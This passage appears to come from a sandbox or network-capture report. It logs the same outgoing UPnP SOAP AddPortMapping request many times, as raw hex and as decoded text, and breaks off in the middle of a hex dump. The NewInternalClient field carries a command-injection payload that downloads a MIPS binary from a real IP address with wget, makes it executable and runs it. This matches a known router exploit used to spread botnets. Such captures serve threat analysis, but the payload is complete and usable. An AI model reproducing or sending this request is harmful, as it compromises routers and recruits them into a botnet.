                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:18.074218035 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:52.889403105 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      21192.168.2.154735045.195.116.4652869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:45.814863920 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:49.915112019 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:56.058895111 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:08.090626955 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:32.409925938 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 